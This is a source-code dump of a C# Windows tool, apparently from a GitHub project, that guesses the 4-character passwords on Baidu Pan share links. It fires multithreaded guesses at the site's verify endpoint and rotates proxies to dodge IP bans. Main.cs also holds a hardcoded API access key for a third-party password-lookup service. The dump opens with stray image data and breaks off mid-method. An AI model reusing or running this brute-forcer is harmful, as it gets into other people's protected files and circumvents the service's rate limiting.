iI4tC4bs/9Y3Xd2kUJOFEJO8NXIvy2JiLM4o4rExwGj942lBCp/9lqHiCLp7YakIxLcBm4HNeLybvB62
SMnaWNR6Vym1RiDe7++pnkrTqDaPx4vavsEN4hUa1wMoQ1INJdDaJmpqEPGYfiI7hcE2wFftn0EZOa5N
xuPUxXqsGuERtcpSNQBCiqiKq15vnYx6PPRka6hNo9o8AB4vKhpNuvTpCJlLcXAFoAxwdBkSBFrbEr54
TQ0iFtNP9sFcatuwu+2frGgc1eYF8HqxotHkNYW3LlCuoZcfrgCUKSkBs0Q8wYlTJJzU1PQfxHMa9EDn
cvvslcWQMQAXF5fKxfUAXFyqGFcAXFyqGFcAXFyqGFcAXFyqGFcAXFyqGFcAXFyqGFcAXFyqmP8PdyBm
m10LB/oAAAAASUVORK5CYII=
================================================
FILE: TestPassword V1.8.1.0/TestPassword/StaticClass.cs
================================================
using System;
using System.IO;
using System.Net;
using System.Text;
namespace zgcwkj
{
///
/// 静态类
///
public static class StaticClass
{
#region 静态字符串
///
/// 线程状态
///
public static bool status { get; set; }
///
/// 目标连接
///
public static string url { get; set; }
///
/// 项目的路径
///
public static string file { get; set; }
///
/// 配置文件的路径
///
public static string config { get; set; }
///
/// 代理文件的路径
///
public static string proxy { get; set; }
///
/// 代理文件的IP组
///
public static string[] proxys { get; set; }
#endregion 静态字符串
#region 静态方法
///
/// Get请求
///
public static string HttpGet(string Url)
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);
request.Method = "GET";
request.ContentType = "text/html;charset=UTF-8";
try
{
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.UTF8);
string retString = myStreamReader.ReadToEnd();
myStreamReader.Close();
return retString;
}
catch (Exception e)
{
return e.Message;
}
}
#endregion 静态方法
}
}
================================================
FILE: TestPassword V1.8.1.0/TestPassword/TestPassword.csproj
================================================
Debug
AnyCPU
{AC42684F-60E0-464C-881D-B679DA8D8A7B}
WinExe
Properties
zgcwkj
TestPassword
v4.0
512
AnyCPU
true
full
false
bin\Debug\
DEBUG;TRACE
prompt
4
AnyCPU
pdbonly
true
bin\Release\
TRACE
prompt
4
ico.ico
Form
Main.cs
Main.cs
ResXFileCodeGenerator
Resources.Designer.cs
Designer
True
Resources.resx
True
SettingsSingleFileGenerator
Settings.Designer.cs
True
Settings.settings
True
================================================
FILE: TestPassword V1.8.1.0/TestPassword.sln
================================================
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 14
VisualStudioVersion = 14.0.23107.0
MinimumVisualStudioVersion = 10.0.40219.1
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TestPassword", "TestPassword\TestPassword.csproj", "{AC42684F-60E0-464C-881D-B679DA8D8A7B}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{AC42684F-60E0-464C-881D-B679DA8D8A7B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{AC42684F-60E0-464C-881D-B679DA8D8A7B}.Debug|Any CPU.Build.0 = Debug|Any CPU
{AC42684F-60E0-464C-881D-B679DA8D8A7B}.Release|Any CPU.ActiveCfg = Release|Any CPU
{AC42684F-60E0-464C-881D-B679DA8D8A7B}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
================================================
FILE: TestPassword V1.8.1.1/TestPassword/Hash.cs
================================================
using System;
namespace zgcwkj
{
public static class Hash
{
//哈希类 36进制
//有效哈希[10000000,11679615]
#region 只支持4位 By MXWXZ
public static string HashTo4Str(int hash)
{
string ret = "";
hash -= 10000000;
while (hash > 0)
{
ret += Hash2Char(hash % 36);
hash /= 36;
}
if (ret.Length == 3) ret += "0";//前导零
if (ret.Length == 2) ret += "00";
if (ret.Length == 1) ret += "000";
if (ret.Length == 0) ret += "0000";
return reverse(ret);
}
public static int StrTo4Hash(string str)
{
int ret = 0;
ret += Char2Hash(str[0]) * 46656;
ret += Char2Hash(str[1]) * 1296;
ret += Char2Hash(str[2]) * 36;
ret += Char2Hash(str[3]);
ret += 10000000;//防止前导零
return ret;
}
#endregion 只支持4位 By MXWXZ
#region 只支持6位 By zgcwkj
public static string HashTo6Str(int hash)
{
string ret = "";
hash -= 100000;
while (hash > 0)
{
ret += Hash2Char(hash % 36);
hash /= 36;
}
if (ret.Length == 5) ret += "0";//前导零
if (ret.Length == 4) ret += "00";
if (ret.Length == 3) ret += "000";
if (ret.Length == 2) ret += "0000";
if (ret.Length == 1) ret += "00000";
if (ret.Length == 0) ret += "000000";
return reverse(ret);
}
public static int StrTo6Hash(string str)
{
int ret = 0;
ret += Char2Hash(str[0]) * 60466176;
ret += Char2Hash(str[1]) * 1679616;
ret += Char2Hash(str[2]) * 46656;
ret += Char2Hash(str[3]) * 1296;
ret += Char2Hash(str[4]) * 36;
ret += Char2Hash(str[5]);
ret += 100000;//防止前导零
return ret;
}
#endregion 只支持6位 By zgcwkj
private static int Char2Hash(char c)
{
if (c >= '0' && c <= '9') return c - '0';
else return c - 'a' + 10;
}
private static char Hash2Char(int hash)
{
if (hash >= 0 && hash <= 9) return (char)('0' + hash);
else return (char)('a' + hash - 10);
}
private static string reverse(string str)
{
char[] arr = str.ToCharArray();
Array.Reverse(arr);
return new string(arr);
}
}
}
================================================
FILE: TestPassword V1.8.1.1/TestPassword/HttpTest.cs
================================================
using System;
using System.IO;
using System.Net;
using System.Text;
namespace zgcwkj
{
///
/// Http测试类(百度网盘分享连接密码测试)
///
public class HttpTest
{
private string info = "";//唯一识别文件的值
///
/// 实例测试类
///
/// 访问的链接
public HttpTest(string url)
{
info = "surl=" + url.Replace("https", "").Replace("http", "").Replace("://pan.baidu.com/", "").Replace("share/init?surl=", "").Replace("s/1", "");
}
///
/// 访问网页
///
///
public string Get()
{
return HttpGet("https://pan.baidu.com/share/init?" + info, null);
}
///
/// 提交密码
///
/// 密码
/// 代理实体
///
public string Post(string pwd, WebProxy webProxy)
{
DateTime time = DateTime.Now;
DateTime startTime = TimeZone.CurrentTimeZone.ToLocalTime(new DateTime(1970, 1, 1, 0, 0, 0, 0));
string ts = ((time.Ticks - startTime.Ticks) / 10000).ToString();
string url = "https://pan.baidu.com/share/verify?" + info + "&t=" + ts.ToString() + "&bdstoken=null&channel=chunlei&clienttype=0&web=1&app_id=123456&logid=MTUwMTEyNDM2OTY5MzAuOTE5NTU5NjQwMTk0NDM0OA==";
string data = "pwd=" + pwd + "&vcode=&vcode_str=";
return HttpPost(url, data, webProxy);
}
#region 网络请求
private CookieContainer cookie = new CookieContainer();
#region Get请求
///
/// 请求路径
///
/// 请求的路径
/// 代理实体
/// 返回请求的网页数据
private string HttpGet(string Url, WebProxy webProxy)
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);
request.Method = "GET";
request.ContentType = "text/html;charset=UTF-8";
request.CookieContainer = cookie;
request.Proxy = webProxy;
try
{
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.UTF8);
string retString = myStreamReader.ReadToEnd();
myStreamReader.Close();
return retString;
}
catch (Exception e)
{
return e.Message;
}
}
#endregion Get请求
#region Post请求
///
/// 提交数据
///
/// 提交的路径
/// 提交的数据
/// 代理实体
/// 返回结果
private string HttpPost(string Url, string Data, WebProxy webProxy)
{
try
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);
request.Method = "POST";
request.ContentType = "application/x-www-form-urlencoded;charset=UTF-8";
request.CookieContainer = cookie;
request.Proxy = webProxy;
request.Referer = "https://pan.baidu.com/share/init?" + info;
request.ContentLength = Encoding.UTF8.GetByteCount(Data);
Stream myRequestStream = request.GetRequestStream();
byte[] postBytes = Encoding.UTF8.GetBytes(Data);
myRequestStream.Write(postBytes, 0, postBytes.Length);
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
response.Cookies = cookie.GetCookies(response.ResponseUri);
StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.UTF8);
string retString = myStreamReader.ReadToEnd();
myStreamReader.Close();
return retString;
}
catch (Exception ex)
{
return ex.Message;
}
}
#endregion Post请求
#endregion 网络请求
}
}
================================================
FILE: TestPassword V1.8.1.1/TestPassword/HttpThread.cs
================================================
using System;
using System.IO;
using System.Net;
using System.Timers;
namespace zgcwkj
{
public class HttpThread
{
private Main myMain;//主窗体
private int StartValue = 0;//基值
private int NumberValue = 0;//剩余次数
private Timer timer;//线程
private string ThreadID;//线程ID
private WebProxy webProxy;//代理 实体
private string[] webProxyIP;//代理 IP组
private int webProxyBout;//代理 次/回
///
/// http请求线程类
///
/// 主窗体
/// 线程名称
/// 开始值
/// 结束值
/// 线程速度
public HttpThread(Main main, string name, int start, int number, int interval)
{
myMain = main;
StartValue = start;
NumberValue = number;
ThreadID = StaticClass.file + "/" + name;
timer = new Timer(interval);
}
///
/// 启动线程
///
///
public HttpThread Start()
{
#region 载入历史参数
try
{
if (File.Exists(ThreadID + ".ini"))
{
string _start = File.ReadAllText(ThreadID + ".ini");
if (_start != "") StartValue = Convert.ToInt32(_start);
}
}
catch { }
#endregion 载入历史参数
timer.Elapsed += new ElapsedEventHandler(_Timer);
timer.Start();
return this;
}
private void _Timer(object sender, ElapsedEventArgs e)
{
Timer timer = sender as Timer;
if (NumberValue < StartValue || StaticClass.status)
{
#region 保存历史参数
try
{
File.WriteAllText(ThreadID + ".ini", StartValue.ToString());
}
catch { }
#endregion 保存历史参数
timer.Stop();
}
else
{
string password = Hash.HashTo4Str(StartValue);
HttpTest httptest = new HttpTest(StaticClass.url);
string html = httptest.Post(password, webProxy);
myMain.ModifyStr(html, password);
if (html.Contains("\"errno\":0")) { }
else if (html.Contains("\"errno\":-9")) StartValue = StartValue + 1;
else if (html.Contains("\"errno\":-62")) StartValue = StartValue + 1;
else ProxyWeb();
}
}
///
/// 代理 WEB
///
private void ProxyWeb()
{
//判断是否启动代理服务
if (!myMain.cB_proxy.Checked) { return; }
//判断IP组是否有数据
if (webProxyIP == null) { webProxyIP = File.ReadAllText(StaticClass.proxy).Replace("\r", "").Split('\n'); }
string ip_port = webProxyIP[webProxyBout];
int indexof = ip_port.IndexOf(":");
string ip = ip_port.Substring(0, indexof);
string port = ip_port.Substring(indexof + 1, ip_port.Length - indexof - 1);
webProxy = new WebProxy(ip, Convert.ToInt32(port));
try
{
WebClient webClient = new WebClient();
webClient.Proxy = webProxy;
byte[] bytes = webClient.DownloadData("https://pan.baidu.com");
string html = System.Text.Encoding.Default.GetString(bytes);
}
catch (Exception e)
{
string message = e.Message;
if (webProxyBout < webProxyIP.Length - 1) webProxyBout++; else webProxyBout = 0;
}
}
}
}
================================================
FILE: TestPassword V1.8.1.1/TestPassword/Main.Designer.cs
================================================
namespace zgcwkj
{
partial class Main
{
///
/// 必需的设计器变量。
///
private System.ComponentModel.IContainer components = null;
///
/// 清理所有正在使用的资源。
///
/// 如果应释放托管资源,为 true;否则为 false。
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows 窗体设计器生成的代码
///
/// 设计器支持所需的方法 - 不要修改
/// 使用代码编辑器修改此方法的内容。
///
private void InitializeComponent()
{
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Main));
this.txt_url = new System.Windows.Forms.Label();
this.text_url = new System.Windows.Forms.TextBox();
this.gb_1 = new System.Windows.Forms.GroupBox();
this.text_zxsd = new System.Windows.Forms.TextBox();
this.text_xczs = new System.Windows.Forms.TextBox();
this.text_jsd = new System.Windows.Forms.TextBox();
this.text_ksd = new System.Windows.Forms.TextBox();
this.txt_zxsd = new System.Windows.Forms.Label();
this.txt_xczs = new System.Windows.Forms.Label();
this.txt_jsd = new System.Windows.Forms.Label();
this.txt_ksd = new System.Windows.Forms.Label();
this.txt_ts = new System.Windows.Forms.Label();
this.btn_start = new System.Windows.Forms.Button();
this.fBD = new System.Windows.Forms.FolderBrowserDialog();
this.btn_status = new System.Windows.Forms.Button();
this.btn_net = new System.Windows.Forms.Button();
this.cB_mxwxz = new System.Windows.Forms.CheckBox();
this.CB_zgcwkj = new System.Windows.Forms.CheckBox();
this.cB_ypsuperkey = new System.Windows.Forms.CheckBox();
this.cB_proxy = new System.Windows.Forms.CheckBox();
this.gb_1.SuspendLayout();
this.SuspendLayout();
//
// txt_url
//
this.txt_url.AutoSize = true;
this.txt_url.Location = new System.Drawing.Point(12, 14);
this.txt_url.Name = "txt_url";
this.txt_url.Size = new System.Drawing.Size(65, 12);
this.txt_url.TabIndex = 0;
this.txt_url.Text = "目标地址:";
//
// text_url
//
this.text_url.Location = new System.Drawing.Point(83, 10);
this.text_url.Name = "text_url";
this.text_url.Size = new System.Drawing.Size(389, 21);
this.text_url.TabIndex = 1;
//
// gb_1
//
this.gb_1.Controls.Add(this.text_zxsd);
this.gb_1.Controls.Add(this.text_xczs);
this.gb_1.Controls.Add(this.text_jsd);
this.gb_1.Controls.Add(this.text_ksd);
this.gb_1.Controls.Add(this.txt_zxsd);
this.gb_1.Controls.Add(this.txt_xczs);
this.gb_1.Controls.Add(this.txt_jsd);
this.gb_1.Controls.Add(this.txt_ksd);
this.gb_1.Location = new System.Drawing.Point(12, 37);
this.gb_1.Name = "gb_1";
this.gb_1.Size = new System.Drawing.Size(460, 73);
this.gb_1.TabIndex = 2;
this.gb_1.TabStop = false;
this.gb_1.Text = "相关配置";
//
// text_zxsd
//
this.text_zxsd.Location = new System.Drawing.Point(321, 17);
this.text_zxsd.MaxLength = 4;
this.text_zxsd.Name = "text_zxsd";
this.text_zxsd.Size = new System.Drawing.Size(131, 21);
this.text_zxsd.TabIndex = 5;
this.text_zxsd.Text = "200";
this.text_zxsd.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this._KeyPress);
//
// text_xczs
//
this.text_xczs.Location = new System.Drawing.Point(93, 17);
this.text_xczs.MaxLength = 4;
this.text_xczs.Name = "text_xczs";
this.text_xczs.Size = new System.Drawing.Size(131, 21);
this.text_xczs.TabIndex = 4;
this.text_xczs.Text = "100";
this.text_xczs.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this._KeyPress);
//
// text_jsd
//
this.text_jsd.Location = new System.Drawing.Point(321, 43);
this.text_jsd.MaxLength = 4;
this.text_jsd.Name = "text_jsd";
this.text_jsd.Size = new System.Drawing.Size(131, 21);
this.text_jsd.TabIndex = 7;
this.text_jsd.Text = "zzzz";
//
// text_ksd
//
this.text_ksd.Location = new System.Drawing.Point(93, 43);
this.text_ksd.MaxLength = 4;
this.text_ksd.Name = "text_ksd";
this.text_ksd.Size = new System.Drawing.Size(131, 21);
this.text_ksd.TabIndex = 6;
this.text_ksd.Text = "0000";
//
// txt_zxsd
//
this.txt_zxsd.AutoSize = true;
this.txt_zxsd.Location = new System.Drawing.Point(232, 20);
this.txt_zxsd.Name = "txt_zxsd";
this.txt_zxsd.Size = new System.Drawing.Size(89, 12);
this.txt_zxsd.TabIndex = 1;
this.txt_zxsd.Text = "线程执行速度:";
//
// txt_xczs
//
this.txt_xczs.AutoSize = true;
this.txt_xczs.Location = new System.Drawing.Point(10, 20);
this.txt_xczs.Name = "txt_xczs";
this.txt_xczs.Size = new System.Drawing.Size(65, 12);
this.txt_xczs.TabIndex = 0;
this.txt_xczs.Text = "线程总数:";
//
// txt_jsd
//
this.txt_jsd.AutoSize = true;
this.txt_jsd.Location = new System.Drawing.Point(232, 46);
this.txt_jsd.Name = "txt_jsd";
this.txt_jsd.Size = new System.Drawing.Size(77, 12);
this.txt_jsd.TabIndex = 3;
this.txt_jsd.Text = "密码结束点:";
//
// txt_ksd
//
this.txt_ksd.AutoSize = true;
this.txt_ksd.Location = new System.Drawing.Point(10, 46);
this.txt_ksd.Name = "txt_ksd";
this.txt_ksd.Size = new System.Drawing.Size(77, 12);
this.txt_ksd.TabIndex = 2;
this.txt_ksd.Text = "密码开始点:";
//
// txt_ts
//
this.txt_ts.ForeColor = System.Drawing.Color.Red;
this.txt_ts.Location = new System.Drawing.Point(12, 163);
this.txt_ts.Name = "txt_ts";
this.txt_ts.Size = new System.Drawing.Size(460, 45);
this.txt_ts.TabIndex = 8;
this.txt_ts.Text = "程序:百度网盘分享文件密码分析器 V 1.8.1.1\r\n\r\n开源地址:https://github.com/zgcwkj/TestBaiduPassword";
this.txt_ts.Click += new System.EventHandler(this.txt_ts_Click);
//
// btn_start
//
this.btn_start.Font = new System.Drawing.Font("宋体", 14F, System.Drawing.FontStyle.Bold);
this.btn_start.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(192)))), ((int)(((byte)(0)))), ((int)(((byte)(192)))));
this.btn_start.Location = new System.Drawing.Point(12, 113);
this.btn_start.Name = "btn_start";
this.btn_start.Size = new System.Drawing.Size(234, 44);
this.btn_start.TabIndex = 3;
this.btn_start.Text = "打开/生成 解决方案";
this.btn_start.UseVisualStyleBackColor = true;
this.btn_start.Click += new System.EventHandler(this.btn_start_Click);
//
// btn_status
//
this.btn_status.Enabled = false;
this.btn_status.Font = new System.Drawing.Font("宋体", 14F, System.Drawing.FontStyle.Bold);
this.btn_status.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(192)))), ((int)(((byte)(0)))), ((int)(((byte)(192)))));
this.btn_status.Location = new System.Drawing.Point(252, 113);
this.btn_status.Name = "btn_status";
this.btn_status.Size = new System.Drawing.Size(94, 44);
this.btn_status.TabIndex = 4;
this.btn_status.Text = "启动";
this.btn_status.UseVisualStyleBackColor = true;
this.btn_status.Click += new System.EventHandler(this.btn_status_Click);
//
// btn_net
//
this.btn_net.Font = new System.Drawing.Font("宋体", 14F, System.Drawing.FontStyle.Bold);
this.btn_net.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(255)))), ((int)(((byte)(128)))), ((int)(((byte)(0)))));
this.btn_net.Location = new System.Drawing.Point(364, 113);
this.btn_net.Name = "btn_net";
this.btn_net.Size = new System.Drawing.Size(108, 44);
this.btn_net.TabIndex = 5;
this.btn_net.Text = "联网查密";
this.btn_net.UseVisualStyleBackColor = true;
this.btn_net.Click += new System.EventHandler(this.btn_net_Click);
//
// cB_mxwxz
//
this.cB_mxwxz.AutoSize = true;
this.cB_mxwxz.Checked = true;
this.cB_mxwxz.CheckState = System.Windows.Forms.CheckState.Checked;
this.cB_mxwxz.Location = new System.Drawing.Point(10, 216);
this.cB_mxwxz.Name = "cB_mxwxz";
this.cB_mxwxz.Size = new System.Drawing.Size(240, 16);
this.cB_mxwxz.TabIndex = 10;
this.cB_mxwxz.Text = "使用 MXWXZ 的数据提交和哈希排序 方案";
this.cB_mxwxz.UseVisualStyleBackColor = true;
//
// CB_zgcwkj
//
this.CB_zgcwkj.AutoSize = true;
this.CB_zgcwkj.Checked = true;
this.CB_zgcwkj.CheckState = System.Windows.Forms.CheckState.Checked;
this.CB_zgcwkj.Enabled = false;
this.CB_zgcwkj.Location = new System.Drawing.Point(10, 243);
this.CB_zgcwkj.Name = "CB_zgcwkj";
this.CB_zgcwkj.Size = new System.Drawing.Size(210, 16);
this.CB_zgcwkj.TabIndex = 11;
this.CB_zgcwkj.Text = "使用 zgcwkj 提供的多线程等 方案";
this.CB_zgcwkj.UseVisualStyleBackColor = true;
//
// cB_ypsuperkey
//
this.cB_ypsuperkey.AutoSize = true;
this.cB_ypsuperkey.Checked = true;
this.cB_ypsuperkey.CheckState = System.Windows.Forms.CheckState.Checked;
this.cB_ypsuperkey.Location = new System.Drawing.Point(263, 243);
this.cB_ypsuperkey.Name = "cB_ypsuperkey";
this.cB_ypsuperkey.Size = new System.Drawing.Size(216, 16);
this.cB_ypsuperkey.TabIndex = 12;
this.cB_ypsuperkey.Text = "使用 云盘万能钥匙 提供放接口服务";
this.cB_ypsuperkey.UseVisualStyleBackColor = true;
//
// cB_proxy
//
this.cB_proxy.AutoSize = true;
this.cB_proxy.Location = new System.Drawing.Point(263, 216);
this.cB_proxy.Name = "cB_proxy";
this.cB_proxy.Size = new System.Drawing.Size(204, 16);
this.cB_proxy.TabIndex = 10;
this.cB_proxy.Text = "使用 zgcwkj 提供的自动代理服务";
this.cB_proxy.UseVisualStyleBackColor = true;
this.cB_proxy.CheckedChanged += new System.EventHandler(this.cB_proxy_CheckedChanged);
//
// Main
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(484, 241);
this.Controls.Add(this.cB_ypsuperkey);
this.Controls.Add(this.CB_zgcwkj);
this.Controls.Add(this.cB_mxwxz);
this.Controls.Add(this.cB_proxy);
this.Controls.Add(this.btn_net);
this.Controls.Add(this.btn_status);
this.Controls.Add(this.txt_ts);
this.Controls.Add(this.gb_1);
this.Controls.Add(this.text_url);
this.Controls.Add(this.txt_url);
this.Controls.Add(this.btn_start);
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.MaximizeBox = false;
this.MaximumSize = new System.Drawing.Size(500, 300);
this.MinimizeBox = false;
this.MinimumSize = new System.Drawing.Size(500, 280);
this.Name = "Main";
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "百度网盘分享文件密码分析器";
this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.Main_FormClosed);
this.Load += new System.EventHandler(this.Main_Load);
this.gb_1.ResumeLayout(false);
this.gb_1.PerformLayout();
this.ResumeLayout(false);
this.PerformLayout();
}
#endregion
private System.Windows.Forms.Label txt_url;
private System.Windows.Forms.TextBox text_url;
private System.Windows.Forms.GroupBox gb_1;
private System.Windows.Forms.Label txt_ksd;
private System.Windows.Forms.Label txt_jsd;
private System.Windows.Forms.TextBox text_jsd;
private System.Windows.Forms.TextBox text_ksd;
private System.Windows.Forms.TextBox text_zxsd;
private System.Windows.Forms.TextBox text_xczs;
private System.Windows.Forms.Label txt_zxsd;
private System.Windows.Forms.Label txt_xczs;
private System.Windows.Forms.Label txt_ts;
private System.Windows.Forms.Button btn_start;
private System.Windows.Forms.FolderBrowserDialog fBD;
private System.Windows.Forms.Button btn_status;
private System.Windows.Forms.Button btn_net;
private System.Windows.Forms.CheckBox cB_mxwxz;
private System.Windows.Forms.CheckBox CB_zgcwkj;
private System.Windows.Forms.CheckBox cB_ypsuperkey;
public System.Windows.Forms.CheckBox cB_proxy;
}
}
================================================
FILE: TestPassword V1.8.1.1/TestPassword/Main.cs
================================================
using System;
using System.IO;
using System.Text.RegularExpressions;
using System.Windows.Forms;
namespace zgcwkj
{
public partial class Main : Form
{
public Main()
{
InitializeComponent();
}
///
/// 程序加载完成
///
private void Main_Load(object sender, EventArgs e)
{
if (!File.Exists("zgcwkj"))
{
DialogResult DR = MessageBox.Show("您是第一次使用吗?", "提示", MessageBoxButtons.YesNo);
if (DR == DialogResult.Yes)
{
File.WriteAllText("zgcwkj", "zgcwkj");
try { System.Diagnostics.Process.Start("http://blog.zgcwkj.top/index.php/archives/367"); } catch { }
}
}
}
///
/// 解决方案
///
private void btn_start_Click(object sender, EventArgs e)
{
if (fBD.ShowDialog() == DialogResult.OK)
{
#region 防止选择非空文件夹或者不是项目的文件
//把选择的路径赋值给静态变量
StaticClass.file = fBD.SelectedPath;
//把配置文件的路径赋值给静态变量
StaticClass.config = fBD.SelectedPath + "\\Configuration.ini";
//把代理文件的路径赋值给静态变量
StaticClass.proxy = fBD.SelectedPath + "\\proxy.ini";
//获取路径下所有文件
string[] files = Directory.GetFiles(StaticClass.file);
//拒绝选择有文件的文件夹
if (files.Length > 0)
{
if (File.Exists(StaticClass.config))
{
try
{
string[] str = File.ReadAllText(StaticClass.config).Split('∆');
text_url.Text = str[0];
text_xczs.Text = str[1];
text_zxsd.Text = str[2];
}
catch (Exception ex)
{
string message = ex.Message;
MessageBox.Show("所选择的文件夹,不是本程序的项目,请重新选择");
text_url.Text = "";
text_xczs.Text = "";
text_zxsd.Text = "";
return;
}
}
else
{
MessageBox.Show("请务必选择空的文件夹");
return;
}
}
#endregion 防止选择非空文件夹或者不是项目的文件
#region 防止空文本也执行
if (text_url.Text.Trim() == "" || !text_url.Text.Contains("pan.baidu")) { MessageBox.Show("请输入百度云盘链接"); return; }
if (text_xczs.Text == "") { MessageBox.Show("线程总数错误"); return; }
if (text_zxsd.Text == "") { MessageBox.Show("线程执行速度错误"); return; }
if (text_ksd.Text.Length != 4) { MessageBox.Show("密码开始点错误"); return; }
if (text_jsd.Text.Length != 4) { MessageBox.Show("密码结束点错误"); return; }
#endregion 防止空文本也执行
#region 生成配置文件
if (!File.Exists(StaticClass.config))
{
string Configuration;
try
{
Configuration = File.ReadAllText(StaticClass.config);
string[] str = Configuration.Split('∆');
text_url.Text = str[0];
text_xczs.Text = str[1];
text_zxsd.Text = str[2];
}
catch
{
Configuration = text_url.Text + "∆" + text_xczs.Text + "∆" + text_zxsd.Text;
File.WriteAllText(StaticClass.config, Configuration);
}
}
#endregion 生成配置文件
//打开启动按钮
btn_status.Enabled = true;
//关闭参数调整
gb_1.Enabled = false;
}
}
///
/// 启动或停止
///
private void btn_status_Click(object sender, EventArgs e)
{
if (!cB_mxwxz.Checked) { MessageBox.Show("请使用 MXWXZ 提供的方案"); return; }
if (btn_status.Text == "停止")
{
btn_status.Text = "启动";
btn_status.Enabled = true;
btn_start.Enabled = true;
btn_net.Enabled = true;
cB_mxwxz.Enabled = true;
cB_proxy.Enabled = true;
cB_ypsuperkey.Enabled = true;
StaticClass.status = true;
}
else
{
#region 验证文本输入是否正确
bool verificationText = false;
if (text_url.Text == "") { MessageBox.Show("请不要删除 目标地址"); verificationText = true; }
if (text_xczs.Text == "") { MessageBox.Show("请不要删除 线程总数"); verificationText = true; }
if (text_zxsd.Text == "") { MessageBox.Show("请不要删除 线程速度"); verificationText = true; }
if (text_ksd.Text == "") { MessageBox.Show("请不要删除 起始值"); verificationText = true; }
if (text_jsd.Text == "") { MessageBox.Show("请不要删除 结束值"); verificationText = true; }
if (verificationText) { btn_status.Enabled = false; return; }
#endregion 验证文本输入是否正确
#region 基本的线程
int xczs = Convert.ToInt32(text_xczs.Text);//线程总数
int zxsd = Convert.ToInt32(text_zxsd.Text);//线程速度
int start = Hash.StrTo4Hash(text_ksd.Text);//起始值
int end = Hash.StrTo4Hash(text_jsd.Text);//结束值
int total = end - start + 1;//尝试的总数
int section = total / xczs;//线程的次数
#endregion 基本的线程
#region 预防(防止)线程的总数大于尝试的总数
if (xczs > total)
{
MessageBox.Show("小伙子又想让程序出BUG吗?");
MessageBox.Show("检测到线程的总数大于尝试的总数");
return;
}
#endregion 预防(防止)线程的总数大于尝试的总数
#region 标识程序启动
//把分享地址赋值给静态变量
StaticClass.url = text_url.Text;
//设置线程默认状态给静态变量
StaticClass.status = false;
btn_status.Text = "停止";
btn_start.Enabled = false;
btn_net.Enabled = false;
cB_mxwxz.Enabled = false;
cB_proxy.Enabled = false;
cB_ypsuperkey.Enabled = false;
#endregion 标识程序启动
#region 创建线程
for (int i = 1; i <= xczs; i++)
{
int _start = start + section * (i - 1);//一条线程的开始值
int _end = start + section * i;//一条线程的结束值
new HttpThread(this, i.ToString(), _start, _end, zxsd).Start();
}
#endregion 创建线程
}
}
///
/// 联网查密(用到互联网搜索功能)
///
private void btn_net_Click(object sender, EventArgs e)
{
if (!cB_ypsuperkey.Checked) { MessageBox.Show("请使用 云盘万能钥匙 提供的方案"); return; }
if (text_url.Text.Trim() == "" || !text_url.Text.Contains("pan.baidu")) { MessageBox.Show("请输入百度云盘链接"); return; }
MessageBox.Show("本服务由 云盘万能钥匙(www.ypsuperkey.com)提供,本人仅是使用提供的接口");
string info = text_url.Text.Replace("https", "").Replace("http", "").Replace("://pan.baidu.com/", "").Replace("share/init?surl=", "").Replace("s/1", "");
string url = "https://www.ypsuperkey.com/api/items/BDY-" + info + "?access_key=4fxNbkKKJX2pAm3b8AEu2zT5d2MbqGbD&client_version=zg";
string data = StaticClass.HttpGet(url);//请求并获得返回数据
data = "密码为" + Regex.Match(data, "\"access_code\":\".+?\"").Value.ToString().Replace("\"", "").Replace("access_code:", "");
if (data == "密码为") data = "还是老老实实暴密码吧";
MessageBox.Show(data, "提示");
}
#region 委托进行显示数据
private delegate void Modifystr(string html, string password);
public void ModifyStr(string html, string password)
{
if (InvokeRequired)
{
Modifystr stcb = new Modifystr(ModifyStr);
Invoke(stcb, new object[] { html, password });
}
else
{
txt_ts.Text = html + "》正在尝试:" + password;//显示点啥
File.AppendAllText(StaticClass.file + "/logs.ini", txt_ts.Text + "\r\n");//输出日志
if (html.Contains("\"errno\":0"))//密码正常
{
StaticClass.status = true;
btn_status.Text = "启动";
MessageBox.Show("密码是:" + password);
}
else if (html.Contains("\"errno\":-9"))//密码错误
{
}
else if (html.Contains("\"errno\":-62"))//要输入验证码
{
}
else//拒绝访问、未知错误
{
if (!StaticClass.status && !cB_proxy.Checked)
{
btn_status.PerformClick();
MessageBox.Show("你的IP被拒绝访问,请稍后重试");
}
}
}
}
#endregion 委托进行显示数据
#region 浏览器预览网页
///
/// 跳转到开源页
///
private void txt_ts_Click(object sender, EventArgs e)
{
try { System.Diagnostics.Process.Start("https://github.com/zgcwkj/TestBaiduPassword"); } catch { }
}
#endregion 浏览器预览网页
#region 检验常规数据
///
/// 限制输入
///
private void _KeyPress(object sender, KeyPressEventArgs e)
{
